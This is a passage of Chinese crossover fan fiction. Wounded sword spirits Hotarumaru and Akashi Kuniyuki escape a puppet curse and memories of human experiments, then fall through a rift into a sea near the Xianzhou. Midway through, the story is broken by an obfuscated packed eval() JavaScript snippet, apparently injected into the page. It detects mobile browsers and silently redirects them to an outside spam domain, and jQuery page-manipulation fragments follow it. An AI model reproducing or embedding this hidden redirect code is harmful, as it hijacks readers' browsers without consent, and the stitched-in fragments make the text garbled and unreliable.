被自己的家人伤害是什么感觉?是剧烈的疼痛,还是痛到极点之后的恍惚?
勉强构筑完时空通道的萤丸无力地中断了灵力传输。
若不是[萤丸]的阻碍让出刀的轨迹偏了一些,萤丸的伤势只会更。若是不巧,当场毙命并非不可能。
人形怪物身上的树枝被斩落了一些,遮掩着面部的东西消失了。
萤丸勉强看去,发现他的瞳孔在不断缩放。刺入萤丸体内的那一刀并非全无回报,怪物原本无神的双眼在这一刻渐渐有了神采。
“我……我都做了什么……”明石国行发出痛苦的悲鸣,他握住本体刀的手剧烈颤抖。但是连接在身上的傀儡线残忍地驱动着他的躯体,让萤丸身上的刀伤更深一分。
萤丸怎么会认不出来他是谁呢。
可是在血液的迅速流失中,他的手,他的肢体渐渐冰冷,说话都很困难,就连最简单的安慰都快做不到了。
趁自己现在还清醒着,萤丸无视同伴的呼喊,把粟田口刀派全体传送回了本丸。随着萤丸的动作,他的眼前渐渐泛黑。在生与死的交界点,萤丸感觉道原本被封存的记忆松动了。
曾经的一期一振也是这样。或者说,是现在的审神者一期一振。
萤丸现在的精神涣散,连回忆都颠三倒四的。
被选中的实验体无法自行了断,求生不得,求死不能。
在漫长的实验中,必然会理智崩溃。然而,一期一振却始终坚持着。如果连他也坚持不住了,自己的弟弟们一定会成为实验体继续深受折磨吧?
所以他不得不活着,他必须活着。
操纵实验的人类固执地认为,越是稀有,越是花数越高的刀剑实验体成功率越高。
仅凭一振刀剑远远扛不住实验的进程。于是,他们被融合了。
在一次又一次的反复重铸中,每振刀都不再是一开始的自己。他们的体内融合了无数同位体的碎片,他们的意识合为一体,然后在地狱中挣扎。
原本,实验会永远继续下去。为什么会在某一天突然中断呢?
啊,萤丸想起来了。
是粟田口刀派的其他刀趁着研究人员交接班的时候偷偷潜入,然后带走了神明的血肉。毕竟短刀的隐蔽极其优秀,瞒过人类未必不可能。
所以自己在潜意识中想要送走粟田口刀派,竟是因为这样……
然而,窃取血肉并非全无代价。实验确实是中止了,但是他们……成为了新的温床。
深受折磨的实验体无法逃离,但是被用作人质的家人们可以。于是在那一天,有的刀剑逃离了结界。
而剩下的刀剑实验体呢?
萤丸的脑子缓慢转动着。
对啊,他们和自己一样被回收,被混在全新的刀剑中,洗去记忆成为了新的刀剑男士审神者。
上一次,自己无能为力,那这一次就尽量弥补吧。
所以,明石国行,不要一个人独自背负了。
我们所有人都有责任。
在一旁,[萤丸]无措地看着意料之外的事情发生。在原本的世界中,明石国行早已因为检非违使的攻击碎刀,而他自己则会在某次前往时政总部述职的时候被带入实验室。
所以,他根本就不知道明石国行还中了傀儡术。
受到规则的影响,身中傀儡术的存在无法向他人说出此事。这正是傀儡术的阴毒之处。
在这一刻,原本被忽略的细节突然浮现在脑海中。自持掌握历史的[萤丸]在这一刻浑身冰凉,他的大意竟让他忽视了明石国行最明显的提示。
曾经,他说给:“下次见面,杀了我。”
当时他还说过,他的神智渐渐就要崩溃了。没想到,一切从最开始都有了预兆。
难怪明石国行会强行过来见他。那几个暗堕发狂的刀剑男士审神者会不会也正是通过某种途径理解了这一切,然后在精神的强烈波动下瞬间暗堕?
[萤丸]并不知道,这位上段历史中唯一的幸存者心神恍惚。
而在这个世界中,原本的历史进程发生了转折。本来袭击明石国行的检非违使已经死去,所以这个世界的明石国行活了下来,就成为了幕后黑手的棋子。
大抵是和珍爱的家人兵刃相向带来的冲击太大了,明石国行竟然恢复了部分神智。但这只会让他心灵上的负担更重。
没有人,会看着自己小心翼翼保护的家人死在自己的双手之下。
这么强烈的情感足以摧毁仅剩的神智。
有什么是自己能做的?[萤丸]勉强拾起很多年未曾使用过的记忆,努力思考着。许久未曾动用过的灵力在指尖和眼前流淌。
他突然看见了,在明石国行的后脑延伸出来了一根漆黑的线。如果没有猜错的话,那就是傀儡线吧。
现在的[萤丸]一边阻挡明石国行的攻击,一边试图斩断那根线。
突然,就像是察觉到了[萤丸]的意图,一条新的时空通道出现了。
陷入昏迷的萤丸在一瞬间直接被吸了进去。
明石国行本能地伸手去拉,在触及到通道边缘的那一刹也被带走,将刀刃压在傀儡线上的[萤丸]自然也逃不过。
现在没空去管其他的事了,[萤丸]借着下落的惯性再次发力,在一阵令人牙酸的咯吱声中,傀儡线应声而断。
明石国行强撑的神智在控制的抽离后迅速断片。
穿越三人组中唯一精神状态相对正常,身体状况看起来最好的[萤丸]一手捞一个,尽力保证在时空乱流中不被分散。
终于,某个世界接纳了他们。在进入这个世界的瞬间,[萤丸]久违地感受到了某种熟悉又厌恶的存在。
时空通道投放的地区在半空。
[萤丸]低下头,只看见一片蔚蓝又清澈的海水。
在被时政打捞回去之前,他就曾在海底沉寂了数百年。在没有光亮的深渊里,华美的刀拵化为乌有,锋利的本体上裹满锈迹。
已经生出灵体的刀剑付丧神就这样在漫长的等待中一点点绝望。
没有人和他交流,没有人理解刀刃化为废铁的残忍。
对他而言,海水带来的只有恐惧。但是在这里,已经由不得他在意这些了。如果就连他也倒下了,那么就真的完了。
海面离他们越来越近,[萤丸]尽量让自己优先坠落,这样能够让他们受到的冲击力降到最小。
他搂紧了自己的同伴,咬牙屏住呼吸。
和海面相撞的那一刻首先感受到的是剧痛,然后才是海水的冰冷,最后是被他遗忘的恐惧。[萤丸]的牙齿在打颤,深埋在骨子离的恐惧在呐喊。
他们三个正在一起下沉。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930535|155865||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这片海的海水很深,在重力的影响下他们下沉了很久。光线随着深度的增加逐渐变暗,[萤丸]只看见眼前尽是一片深沉的蓝。
恍惚间,[萤丸]却觉得这个颜色异常熟悉,熟悉到一看见就忍不住战栗。
究竟是什么呢?
[萤丸]暂时无暇去想,现在最要紧的事就是离开大海找到陆地。
最先受到撞击力的后背在海水的刺激下泛起灼烧般的疼痛,这股痛意太强烈,险些让[萤丸]松开抓住同伴的手。但是[萤丸]坚持住了,他一手抓着一个,极力向陆地游去。
从诞生那一刻灌输进脑子里的常识告诉他该如何游泳。
在[萤丸]的努力下,他们离海面越来越近。失去知觉的明石国行和萤丸在这段时间很安静,若不是肌肤接触的地方还残留着温度,[萤丸]差点觉得自己带着的是两具尸体。
近了,近了。白昼的阳光透过水面,让[萤丸]的眼前一片明亮。
在海水与泡沐的间隙中,[萤丸]伸手拨开海草向奋力游去。就在即将离开海面的那一刻,脑中有什么东西一闪而过。
这下萤丸终于想起来了。在火焰永不熄灭的锻刀炉中,他确实见过如同海浪一样的蓝。
不同于刀匠手中温暖的橘红色焰火,沾染了污秽与怨恨的火焰幽蓝又冰冷。
这种火焰他曾见过无数次。
在第一次被召唤出来的时候,在第二次被抓回去的时候,他曾被灼烧过无数次。
而生产出这种火焰的柴火又是什么呢?
[萤丸]咬紧的牙关中溢出一缕血丝,他几乎是自虐性的逼迫自己反复回想。
那种扭曲的,温热的柴火,它源源不断,它每日都在生长。
是啊,[萤丸]最清楚不过了。
没有什么比承受不住折磨堕化为半丰饶孽物的刀剑男士更多了,同类们受尽折磨的尸体成了用之不竭的柴火,它的燃烧带来了幽蓝的火焰。
然后,他们的血肉化作最后一道折磨,让存活的刀剑男士进一步接受丰饶之力的淬炼。
他们的力量能让实验体保持神智,在被淬炼时将折损率达到最低。
然后,刀剑男士们被迫用自己的命为人类试错,铺就一条走向长生的道路。
这,便是[萤丸]始终不愿忘记的真相。
强烈的愤怒让他忘了对深海的恐惧,一鼓作气支撑他游向岸边。
这片海域的岸边似乎有人,他有着一双奇异的尖耳,乍一眼看上去不似一般人类。在陌生的世界里,有生灵存活便是好事,[萤丸]想都不想便向他的位置靠近。
而托着漂流瓶准备放生崩溃的持明族人路甲则更加纳闷了。不知为何,在他即将抛下漂流瓶的时候有一片黑影向他的位置迅速接近。
路甲忍不住咽了一口口水,忐忑不安地向后退去。
黑影出水了,居然是三个人。他们遍体鳞伤,中间那个唯一能动的人抬头向他看去。
路甲一时不查和他对上了眼,巨大的压力让他吓了一跳。
这时他才注意到,其中一个人竟然堕入了魔阴身,这可不是一件小事!必须即刻上报!
几乎是完全没有过脑子,一句*仙舟粗口*瞬间脱口而出。
这下惨了,崩溃还没放生,目睹了一切意外的路甲更崩溃了。